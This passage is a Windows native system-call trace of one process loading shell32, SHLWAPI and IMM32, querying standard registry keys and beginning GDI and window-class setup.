 00172  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00173  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00174  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00175  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00176  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00177  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00178  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00179  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00180  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00181  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00182  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00183  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00184  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00185  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00186  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00187  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00188  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00189  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00190  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00191  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00192  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00193  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00194  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00195  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00196  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00197  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00198  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00199  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00200  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00201  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "shell32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00202  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x7c9c0000), 0x0, 8482816, ) == 0x0
 00203  1356   NtClose  (16, ... ) == 0x0
 00204  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 4476, 4, ... (0x7c9c1000), 8192, 32, ) == 0x0
 00205  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 8192, 32, ... (0x7c9c1000), 8192, 4, ) == 0x0
 00206  1356   NtFlushInstructionCache  (-1, 2090602496, 4476, ... ) == 0x0
 00207  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 4476, 4, ... (0x7c9c1000), 8192, 32, ) == 0x0
 00208  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 8192, 32, ... (0x7c9c1000), 8192, 4, ) == 0x0
 00209  1356   NtFlushInstructionCache  (-1, 2090602496, 4476, ... ) == 0x0
 00210  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 4476, 4, ... (0x7c9c1000), 8192, 32, ) == 0x0
 00211  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 8192, 32, ... (0x7c9c1000), 8192, 4, ) == 0x0
 00212  1356   NtFlushInstructionCache  (-1, 2090602496, 4476, ... ) == 0x0
 00213  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 4476, 4, ... (0x7c9c1000), 8192, 32, ) == 0x0
 00214  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 8192, 32, ... (0x7c9c1000), 8192, 4, ) == 0x0
 00215  1356   NtFlushInstructionCache  (-1, 2090602496, 4476, ... ) == 0x0
 00216  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 4476, 4, ... (0x7c9c1000), 8192, 32, ) == 0x0
 00217  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 8192, 32, ... (0x7c9c1000), 8192, 4, ) == 0x0
 00218  1356   NtFlushInstructionCache  (-1, 2090602496, 4476, ... ) == 0x0
 00219  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 4476, 4, ... (0x7c9c1000), 8192, 32, ) == 0x0
 00220  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 8192, 32, ... (0x7c9c1000), 8192, 4, ) == 0x0
 00221  1356   NtFlushInstructionCache  (-1, 2090602496, 4476, ... ) == 0x0
 00222  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "SHLWAPI.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00223  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77f60000), 0x0, 483328, ) == 0x0
 00224  1356   NtClose  (16, ... ) == 0x0
 00225  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00226  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00227  1356   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00228  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00229  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00230  1356   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00231  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00232  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00233  1356   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00234  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00235  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00236  1356   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00237  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 2076, 4, ... (0x77f61000), 4096, 32, ) == 0x0
 00238  1356   NtProtectVirtualMemory  (-1, (0x77f61000), 4096, 32, ... (0x77f61000), 4096, 4, ) == 0x0
 00239  1356   NtFlushInstructionCache  (-1, 2012614656, 2076, ... ) == 0x0
 00240  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 4476, 4, ... (0x7c9c1000), 8192, 32, ) == 0x0
 00241  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 8192, 32, ... (0x7c9c1000), 8192, 4, ) == 0x0
 00242  1356   NtFlushInstructionCache  (-1, 2090602496, 4476, ... ) == 0x0
 00243  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 4476, 4, ... (0x7c9c1000), 8192, 32, ) == 0x0
 00244  1356   NtProtectVirtualMemory  (-1, (0x7c9c1000), 8192, 32, ... (0x7c9c1000), 8192, 4, ) == 0x0
 00245  1356   NtFlushInstructionCache  (-1, 2090602496, 4476, ... ) == 0x0
 00246  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00247  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00248  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00249  1356   NtQueryInformationProcess  (-1, 37, 48, ... {process info, class 37, size 48}, 0x0, ) == 0x0
 00250  1356   NtSetInformationProcess  (-1, 34, {process info, class 34, size 4}, 4, ... ) == 0x0
 00251  1356   NtOpenProcessToken  (-1, 0x8, ... 16, ) == 0x0
 00252  1356   NtQueryInformationToken  (16, Statistics, 56, ... {token info, class 10, size 56}, 56, ) == 0x0
 00253  1356   NtClose  (16, ... ) == 0x0
 00254  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\Terminal Server"}, ... 16, ) }, ... 16, ) == 0x0
 00255  1356   NtQueryValueKey  (16,  (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 548, ... TitleIdx=0, Type=4, Data= (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00256  1356   NtClose  (16, ... ) == 0x0
 00257  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RPCRT4.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00258  1356   NtAllocateVirtualMemory  (-1, 1323008, 0, 4096, 4096, 4, ... 1323008, 4096, ) == 0x0
 00259  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ADVAPI32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00260  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\Terminal Server"}, ... 16, ) }, ... 16, ) == 0x0
 00261  1356   NtQueryValueKey  (16,  (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 548, ... TitleIdx=0, Type=4, Data= (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00262  1356   NtQueryValueKey  (16,  (16, "TSUserEnabled", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 548, ... TitleIdx=0, Type=4, Data= (16, "TSUserEnabled", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00263  1356   NtClose  (16, ... ) == 0x0
 00264  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"}, ... 16, ) }, ... 16, ) == 0x0
 00265  1356   NtQueryValueKey  (16,  (16, "LeakTrack", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00266  1356   NtClose  (16, ... ) == 0x0
 00267  1356   NtOpenKey  (0x2000000, {24, 0, 0x40, 0, 0,  (0x2000000, {24, 0, 0x40, 0, 0, "\REGISTRY\MACHINE"}, ... 16, ) }, ... 16, ) == 0x0
 00268  1356   NtSetInformationObject  (16, Handle, {Inherit=0,ProtectFromClose=1,}, 2011431168, ... ) == 0x0
 00269  1356   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows NT\CurrentVersion\Diagnostics"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00270  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USER32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00271  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00272  1356   NtRequestWaitReplyPort  (24, {28, 56, new_msg, 0, 1242016, 2090320424, 1242052, 1242028}  (24, {28, 56, new_msg, 0, 1242016, 2090320424, 1242052, 1242028} "\210\6$\1\0\0\0\0\344\0\23\0\4\0\0\0\3\0\0\0\234\6$\1$\1\0\0" ... {28, 56, reply, 0, 220, 1356, 75529, 0} "\320G\26\0\0\0\0\0\0\0\0\0\4\0\0\0\3\0\0\0\234\6$\1$\1\0\0" )  ... {28, 56, reply, 0, 220, 1356, 75529, 0}  (24, {28, 56, new_msg, 0, 1242016, 2090320424, 1242052, 1242028} "\210\6$\1\0\0\0\0\344\0\23\0\4\0\0\0\3\0\0\0\234\6$\1$\1\0\0" ... {28, 56, reply, 0, 220, 1356, 75529, 0} "\320G\26\0\0\0\0\0\0\0\0\0\4\0\0\0\3\0\0\0\234\6$\1$\1\0\0" )  ) == 0x0
 00273  1356   NtFsControlFile  (12, 0, 0x0, 0x0, 0x90028, 0x0, 0, 0, ... {status=0x0, info=0}, 0x0, ) == 0x0
 00274  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager"}, ... 28, ) }, ... 28, ) == 0x0
 00275  1356   NtQueryValueKey  (28,  (28, "SafeDllSearchMode", Partial, 16, ... ) , Partial, 16, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00276  1356   NtClose  (28, ... ) == 0x0
 00277  1356   NtAllocateVirtualMemory  (-1, 1327104, 0, 4096, 4096, 4, ... 1327104, 4096, ) == 0x0
 00278  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1239420, ... ) }, 1239420, ... ) == 0x0
 00279  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 5, 96, ... 28, {status=0x0, info=1}, ) }, 5, 96, ... 28, {status=0x0, info=1}, ) == 0x0
 00280  1356   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 28, ... 32, ) == 0x0
 00281  1356   NtClose  (28, ... ) == 0x0
 00282  1356   NtMapViewOfSection  (32, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x3f0000), 0x0, 110592, ) == 0x0
 00283  1356   NtClose  (32, ... ) == 0x0
 00284  1356   NtUnmapViewOfSection  (-1, 0x3f0000, ... ) == 0x0
 00285  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1239328, ... ) }, 1239328, ... ) == 0x0
 00286  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 5, 96, ... 32, {status=0x0, info=1}, ) }, 5, 96, ... 32, {status=0x0, info=1}, ) == 0x0
 00287  1356   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 32, ... 28, ) == 0x0
 00288  1356   NtClose  (32, ... ) == 0x0
 00289  1356   NtMapViewOfSection  (28, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x3f0000), 0x0, 110592, ) == 0x0
 00290  1356   NtClose  (28, ... ) == 0x0
 00291  1356   NtUnmapViewOfSection  (-1, 0x3f0000, ... ) == 0x0
 00292  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1239636, ... ) }, 1239636, ... ) == 0x0
 00293  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 5, 96, ... 28, {status=0x0, info=1}, ) }, 5, 96, ... 28, {status=0x0, info=1}, ) == 0x0
 00294  1356   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 28, ... 32, ) == 0x0
 00295  1356   NtQuerySection  (32, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00296  1356   NtOpenProcessToken  (-1, 0x8, ... 36, ) == 0x0
 00297  1356   NtQueryInformationToken  (36, User, 136, ... {token info, class 1, size 36}, 36, ) == 0x0
 00298  1356   NtOpenKey  (0x3, {24, 0, 0x40, 0, 0,  (0x3, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00299  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 40, ) }, ... 40, ) == 0x0
 00300  1356   NtQueryValueKey  (40,  (40, "TransparentEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\1\0\0\0"}, 16, ) , Partial, 80, ... TitleIdx=0, Type=4, Data= (40, "TransparentEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\1\0\0\0"}, 16, ) }, 16, ) == 0x0
 00301  1356   NtClose  (40, ... ) == 0x0
 00302  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00303  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 40, ) == 0x0
 00304  1356   NtQueryInformationToken  (40, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00305  1356   NtClose  (40, ... ) == 0x0
 00306  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00307  1356   NtClose  (36, ... ) == 0x0
 00308  1356   NtClose  (28, ... ) == 0x0
 00309  1356   NtMapViewOfSection  (32, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x76390000), 0x0, 118784, ) == 0x0
 00310  1356   NtClose  (32, ... ) == 0x0
 00311  1356   NtProtectVirtualMemory  (-1, (0x76391000), 696, 4, ... (0x76391000), 4096, 32, ) == 0x0
 00312  1356   NtProtectVirtualMemory  (-1, (0x76391000), 4096, 32, ... (0x76391000), 4096, 4, ) == 0x0
 00313  1356   NtFlushInstructionCache  (-1, 1983451136, 696, ... ) == 0x0
 00314  1356   NtProtectVirtualMemory  (-1, (0x76391000), 696, 4, ... (0x76391000), 4096, 32, ) == 0x0
 00315  1356   NtProtectVirtualMemory  (-1, (0x76391000), 4096, 32, ... (0x76391000), 4096, 4, ) == 0x0
 00316  1356   NtFlushInstructionCache  (-1, 1983451136, 696, ... ) == 0x0
 00317  1356   NtProtectVirtualMemory  (-1, (0x76391000), 696, 4, ... (0x76391000), 4096, 32, ) == 0x0
 00318  1356   NtProtectVirtualMemory  (-1, (0x76391000), 4096, 32, ... (0x76391000), 4096, 4, ) == 0x0
 00319  1356   NtFlushInstructionCache  (-1, 1983451136, 696, ... ) == 0x0
 00320  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMM32.DLL"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00321  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00322  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1236552, ... ) }, 1236552, ... ) == 0x0
 00323  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntdll.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00324  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kernel32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00325  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDI32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00326  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msvcrt.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00327  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ole32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00328  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\oleaut32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00329  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SHLWAPI.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00330  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shell32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00331  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1239956, ... ) }, 1239956, ... ) == 0x0
 00332  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\Error Message Instrument\"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00333  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize"}, ... 32, ) }, ... 32, ) == 0x0
 00334  1356   NtQueryValueKey  (32,  (32, "DisableMetaFiles", Partial, 20, ... ) , Partial, 20, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00335  1356   NtClose  (32, ... ) == 0x0
 00336  1356   NtMapViewOfSection  (-2147482576, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x3f0000), 0x0, 1060864, ) == 0x0
 00337  1356   NtClose  (-2147482576, ... ) == 0x0
 00338  1356   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 32, ) == 0x0
 00339  1356   NtOpenThreadTokenEx  (-2, 0x8, 1, 512, ... ) == STATUS_NO_TOKEN
 00340  1356   NtOpenProcessTokenEx  (-1, 0x8, 512, ... -2147482576, ) == 0x0
 00341  1356   NtQueryInformationToken  (-2147482576, Statistics, 0, ... ) == STATUS_BUFFER_TOO_SMALL
 00342  1356   NtQueryInformationToken  (-2147482576, Statistics, 56, ... {token info, class 10, size 56}, 56, ) == 0x0
 00343  1356   NtClose  (-2147482576, ... ) == 0x0
 00344  1356   NtAllocateVirtualMemory  (-1, 0, 0, 32, 4096, 4, ... 5242880, 4096, ) == 0x0
 00345  1356   NtFreeVirtualMemory  (-1, (0x500000), 4096, 32768, ... (0x500000), 4096, ) == 0x0
 00346  1356   NtDuplicateObject  (-1, 28, -1, 0x0, 0, 2, ... 40, ) == 0x0
 00347  1356   NtOpenKey  (0x20019, {24, 0, 0x240, 0, 0,  (0x20019, {24, 0, 0x240, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Compatibility32"}, ... -2147482576, ) }, ... -2147482576, ) == 0x0
 00348  1356   NtQueryValueKey  (-2147482576,  (-2147482576, "packed", Partial, 172, ... ) , Partial, 172, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00349  1356   NtClose  (-2147482576, ... ) == 0x0
 00350  1356   NtOpenKey  (0x20019, {24, 0, 0x240, 0, 0,  (0x20019, {24, 0, 0x240, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\IME Compatibility"}, ... -2147482576, ) }, ... -2147482576, ) == 0x0
 00351  1356   NtQueryValueKey  (-2147482576,  (-2147482576, "packed", Partial, 172, ... ) , Partial, 172, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00352  1356   NtClose  (-2147482576, ... ) == 0x0
 00353  1356   NtQueryDefaultLocale  (0, -140691124, ... ) == 0x0
 00354  1356   NtGdiQueryFontAssocInfo  (0, ... ) == 0x0
 00355  1356   NtUserCallNoParam  (24, ... ) == 0x0
 00356  1356   NtGdiCreateCompatibleDC  (0, ...
 00357  1356   NtAllocateVirtualMemory  (-1, 0, 0, 4096, 12288, 4, ... 5242880, 4096, ) == 0x0
 00356  1356   NtGdiCreateCompatibleDC  ... ) == 0x70010651
 00358  1356   NtGdiGetStockObject  (0, ... ) == 0x1900010
 00359  1356   NtGdiGetStockObject  (4, ... ) == 0x1900011
 00360  1356   NtGdiCreateBitmap  (8, 8, 1, 1, 2118200212, ... ) == 0x560504d6
 00361  1356   NtGdiCreateSolidBrush  (0, 0, ...
 00362  1356   NtAllocateVirtualMemory  (-1, 0, 0, 4096, 12288, 4, ... 8454144, 4096, ) == 0x0
 00361  1356   NtGdiCreateSolidBrush  ... ) == 0x541007cc
 00363  1356   NtGdiGetStockObject  (13, ... ) == 0x18a0021
 00364  1356   NtGdiCreateCompatibleDC  (0, ... ) == 0x45010482
 00365  1356   NtGdiSelectBitmap  (1157694594, 1443169494, ... ) == 0x185000f
 00366  1356   NtUserGetThreadDesktop  (1356, 0, ... ) == 0x24
 00367  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows"}, ... 44, ) }, ... 44, ) == 0x0
 00368  1356   NtQueryValueKey  (44,  (44, "AppInit_DLLs", Partial, 64, ... TitleIdx=0, Type=1, Data="\0\0"}, 14, ) , Partial, 64, ... TitleIdx=0, Type=1, Data= (44, "AppInit_DLLs", Partial, 64, ... TitleIdx=0, Type=1, Data="\0\0"}, 14, ) }, 14, ) == 0x0
 00369  1356   NtClose  (44, ... ) == 0x0
 00370  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00371  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 673, 128, 0, ... ) == 0x8173c017
 00372  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00373  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 674, 128, 0, ... ) == 0x8173c01c
 00374  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00375  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 675, 128, 0, ... ) == 0x8173c01e
 00376  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
